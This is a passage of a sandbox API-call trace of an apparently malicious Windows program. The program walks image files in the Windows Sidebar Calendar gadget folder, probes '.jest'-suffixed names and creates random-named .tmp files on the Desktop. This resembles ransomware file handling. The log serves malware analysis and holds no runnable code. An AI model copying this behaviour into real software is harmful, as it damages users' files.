ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7e9776a, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0x60, dwReserved1=0x0, cFileName="bg-today.png", cAlternateFileName="")) returned 0x143ce48 [0125.051] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.051] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png", lpFilePart=0x18e780*="bg-today.png") returned 0x52 [0125.052] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png", lpFilePart=0x18e780*="bg-today.png") returned 0x52 [0125.052] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.052] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3e)) [0125.052] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3e)) [0125.052] GetUserDefaultLCID () returned 0x409 [0125.052] VarBstrFromR4 (in: fltIn=0x47944488, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.06") returned 0x0 [0125.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0125.053] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png", lpFilePart=0x18e780*="bg-today.png") returned 0x52 [0125.053] GetFullPathNameA (in: lpFileName="jX3n2fFGw4VdLLNWfFfRtS3VCTX8cRC9nHFCG6XDAw4kIGY_VR Ed3tLXftOlkNpK9EHJnHqonbLvySy9CO2CsLkR9Slz_qcPgRL.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jX3n2fFGw4VdLLNWfFfRtS3VCTX8cRC9nHFCG6XDAw4kIGY_VR Ed3tLXftOlkNpK9EHJnHqonbLvySy9CO2CsLkR9Slz_qcPgRL.tmp", lpFilePart=0x18e708*="jX3n2fFGw4VdLLNWfFfRtS3VCTX8cRC9nHFCG6XDAw4kIGY_VR Ed3tLXftOlkNpK9EHJnHqonbLvySy9CO2CsLkR9Slz_qcPgRL.tmp") returned 0x8e [0125.053] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png", lpFilePart=0x18e708*="bg-today.png") returned 0x52 [0125.053] GetFullPathNameA (in: lpFileName="jX3n2fFGw4VdLLNWfFfRtS3VCTX8cRC9nHFCG6XDAw4kIGY_VR Ed3tLXftOlkNpK9EHJnHqonbLvySy9CO2CsLkR9Slz_qcPgRL.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jX3n2fFGw4VdLLNWfFfRtS3VCTX8cRC9nHFCG6XDAw4kIGY_VR Ed3tLXftOlkNpK9EHJnHqonbLvySy9CO2CsLkR9Slz_qcPgRL.tmp", lpFilePart=0x18e6e4*="jX3n2fFGw4VdLLNWfFfRtS3VCTX8cRC9nHFCG6XDAw4kIGY_VR Ed3tLXftOlkNpK9EHJnHqonbLvySy9CO2CsLkR9Slz_qcPgRL.tmp") returned 0x8e [0125.053] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jX3n2fFGw4VdLLNWfFfRtS3VCTX8cRC9nHFCG6XDAw4kIGY_VR Ed3tLXftOlkNpK9EHJnHqonbLvySy9CO2CsLkR9Slz_qcPgRL.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6e33586a, cFileName="2fFGw4VdLLNWfFfRtS3VCTX8cRC9nHFCG6XDAw4kIGY_VR Ed3tLXftOlkNpK9EHJnHqonbLvySy9CO2CsLkR9Slz_qcPgRL.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.054] GetLastError () returned 0x2 [0125.054] GetLastError () returned 0x2 [0125.054] SetLastError (dwErrCode=0x2) [0125.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.054] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.054] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.055] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png", lpFilePart=0x18e870*="bNext.png") returned 0x4f [0125.057] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png.jest", lpFilePart=0x18e870*="bNext.png.jest") returned 0x54 [0125.058] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png", lpFilePart=0x18e6d8*="bNext.png") returned 0x4f [0125.058] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ebd8c9, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7ebd8c9, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3a174dc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x54, dwReserved1=0x0, cFileName="bNext.png", cAlternateFileName="")) returned 0x143ce48 [0125.058] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.058] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png", lpFilePart=0x18e780*="bNext.png") returned 0x4f [0125.059] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png", lpFilePart=0x18e780*="bNext.png") returned 0x4f [0125.059] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.059] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x4e)) [0125.059] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x4e)) [0125.059] GetUserDefaultLCID () returned 0x409 [0125.059] VarBstrFromR4 (in: fltIn=0x4794448a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.08") returned 0x0 [0125.059] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="(") returned 1 [0125.060] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png", lpFilePart=0x18e780*="bNext.png") returned 0x4f [0125.060] GetFullPathNameA (in: lpFileName="I9vRYutk1W3_mhBLti0qpJrL2cG MjH2m0czXlWR-czNQPQTfR9LxxLx1pTcfi8CbeAoXXpNyrlYf4d_HLPgTIfwU2hsxqkYg_w8.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I9vRYutk1W3_mhBLti0qpJrL2cG MjH2m0czXlWR-czNQPQTfR9LxxLx1pTcfi8CbeAoXXpNyrlYf4d_HLPgTIfwU2hsxqkYg_w8.tmp", lpFilePart=0x18e708*="I9vRYutk1W3_mhBLti0qpJrL2cG MjH2m0czXlWR-czNQPQTfR9LxxLx1pTcfi8CbeAoXXpNyrlYf4d_HLPgTIfwU2hsxqkYg_w8.tmp") returned 0x8e [0125.060] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bNext.png", lpFilePart=0x18e708*="bNext.png") returned 0x4f [0125.060] GetFullPathNameA (in: lpFileName="I9vRYutk1W3_mhBLti0qpJrL2cG MjH2m0czXlWR-czNQPQTfR9LxxLx1pTcfi8CbeAoXXpNyrlYf4d_HLPgTIfwU2hsxqkYg_w8.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I9vRYutk1W3_mhBLti0qpJrL2cG MjH2m0czXlWR-czNQPQTfR9LxxLx1pTcfi8CbeAoXXpNyrlYf4d_HLPgTIfwU2hsxqkYg_w8.tmp", lpFilePart=0x18e6e4*="I9vRYutk1W3_mhBLti0qpJrL2cG MjH2m0czXlWR-czNQPQTfR9LxxLx1pTcfi8CbeAoXXpNyrlYf4d_HLPgTIfwU2hsxqkYg_w8.tmp") returned 0x8e [0125.060] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I9vRYutk1W3_mhBLti0qpJrL2cG MjH2m0czXlWR-czNQPQTfR9LxxLx1pTcfi8CbeAoXXpNyrlYf4d_HLPgTIfwU2hsxqkYg_w8.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x52763949, cFileName="Yutk1W3_mhBLti0qpJrL2cG MjH2m0czXlWR-czNQPQTfR9LxxLx1pTcfi8CbeAoXXpNyrlYf4d_HLPgTIfwU2hsxqkYg_w8.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.061] GetLastError () returned 0x2 [0125.061] GetLastError () returned 0x2 [0125.061] SetLastError (dwErrCode=0x2) [0125.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.061] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.062] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png", lpFilePart=0x18e870*="bPrev.png") returned 0x4f [0125.063] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png.jest", lpFilePart=0x18e870*="bPrev.png.jest") returned 0x54 [0125.091] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png", lpFilePart=0x18e6d8*="bPrev.png") returned 0x4f [0125.091] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f09b87, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7f09b87, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3ad5bbc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x54, dwReserved1=0x0, cFileName="bPrev.png", cAlternateFileName="")) returned 0x143ce48 [0125.091] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.092] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png", lpFilePart=0x18e780*="bPrev.png") returned 0x4f [0125.092] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png", lpFilePart=0x18e780*="bPrev.png") returned 0x4f [0125.092] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.092] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x6d)) [0125.092] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x6d)) [0125.092] GetUserDefaultLCID () returned 0x409 [0125.092] VarBstrFromR4 (in: fltIn=0x4794448e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.11") returned 0x0 [0125.093] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="\x12") returned 1 [0125.093] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png", lpFilePart=0x18e780*="bPrev.png") returned 0x4f [0125.094] GetFullPathNameA (in: lpFileName="xD9kH10mLShgov2ieWSgnCbyNx4ib8E 46BEejF8-SbKwfd5gqdEpM4LzrJledfaA2hPgl7F0X6CbKsxkk5sN wKb0shppA9qqwmx.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xD9kH10mLShgov2ieWSgnCbyNx4ib8E 46BEejF8-SbKwfd5gqdEpM4LzrJledfaA2hPgl7F0X6CbKsxkk5sN wKb0shppA9qqwmx.tmp", lpFilePart=0x18e708*="xD9kH10mLShgov2ieWSgnCbyNx4ib8E 46BEejF8-SbKwfd5gqdEpM4LzrJledfaA2hPgl7F0X6CbKsxkk5sN wKb0shppA9qqwmx.tmp") returned 0x8f [0125.094] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bPrev.png", lpFilePart=0x18e708*="bPrev.png") returned 0x4f [0125.094] GetFullPathNameA (in: lpFileName="xD9kH10mLShgov2ieWSgnCbyNx4ib8E 46BEejF8-SbKwfd5gqdEpM4LzrJledfaA2hPgl7F0X6CbKsxkk5sN wKb0shppA9qqwmx.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xD9kH10mLShgov2ieWSgnCbyNx4ib8E 46BEejF8-SbKwfd5gqdEpM4LzrJledfaA2hPgl7F0X6CbKsxkk5sN wKb0shppA9qqwmx.tmp", lpFilePart=0x18e6e4*="xD9kH10mLShgov2ieWSgnCbyNx4ib8E 46BEejF8-SbKwfd5gqdEpM4LzrJledfaA2hPgl7F0X6CbKsxkk5sN wKb0shppA9qqwmx.tmp") returned 0x8f [0125.094] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xD9kH10mLShgov2ieWSgnCbyNx4ib8E 46BEejF8-SbKwfd5gqdEpM4LzrJledfaA2hPgl7F0X6CbKsxkk5sN wKb0shppA9qqwmx.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x6b394478, cFileName="H10mLShgov2ieWSgnCbyNx4ib8E 46BEejF8-SbKwfd5gqdEpM4LzrJledfaA2hPgl7F0X6CbKsxkk5sN wKb0shppA9qqwmx.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.094] GetLastError () returned 0x2 [0125.094] GetLastError () returned 0x2 [0125.094] SetLastError (dwErrCode=0x2) [0125.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.095] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.096] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png", lpFilePart=0x18e870*="corner.png") returned 0x50 [0125.099] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png.jest", lpFilePart=0x18e870*="corner.png.jest") returned 0x55 [0125.100] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png", lpFilePart=0x18e6d8*="corner.png") returned 0x50 [0125.100] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80607de, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb80607de, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3c5297c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x48, dwReserved1=0x0, cFileName="corner.png", cAlternateFileName="")) returned 0x143ce48 [0125.100] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x142fffc, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.100] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png", lpFilePart=0x18e780*="corner.png") returned 0x50 [0125.101] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png", lpFilePart=0x18e780*="corner.png") returned 0x50 [0125.101] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.101] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x6d)) [0125.101] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x6d)) [0125.101] GetUserDefaultLCID () returned 0x409 [0125.101] VarBstrFromR4 (in: fltIn=0x4794448e, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.11") returned 0x0 [0125.101] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0125.102] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png", lpFilePart=0x18e780*="corner.png") returned 0x50 [0125.102] GetFullPathNameA (in: lpFileName="-Q42iidl92CraZB2b0xyEsFPYwMGuhHRRZl_ Xo3JsVuXT4aXQLY vFW3JOI3i-EKLna8_YMXGeHF3165gNa1Rg5vJ3ulzI8ZYs4.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-Q42iidl92CraZB2b0xyEsFPYwMGuhHRRZl_ Xo3JsVuXT4aXQLY vFW3JOI3i-EKLna8_YMXGeHF3165gNa1Rg5vJ3ulzI8ZYs4.tmp", lpFilePart=0x18e708*="-Q42iidl92CraZB2b0xyEsFPYwMGuhHRRZl_ Xo3JsVuXT4aXQLY vFW3JOI3i-EKLna8_YMXGeHF3165gNa1Rg5vJ3ulzI8ZYs4.tmp") returned 0x8e [0125.102] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png", lpFilePart=0x18e708*="corner.png") returned 0x50 [0125.102] 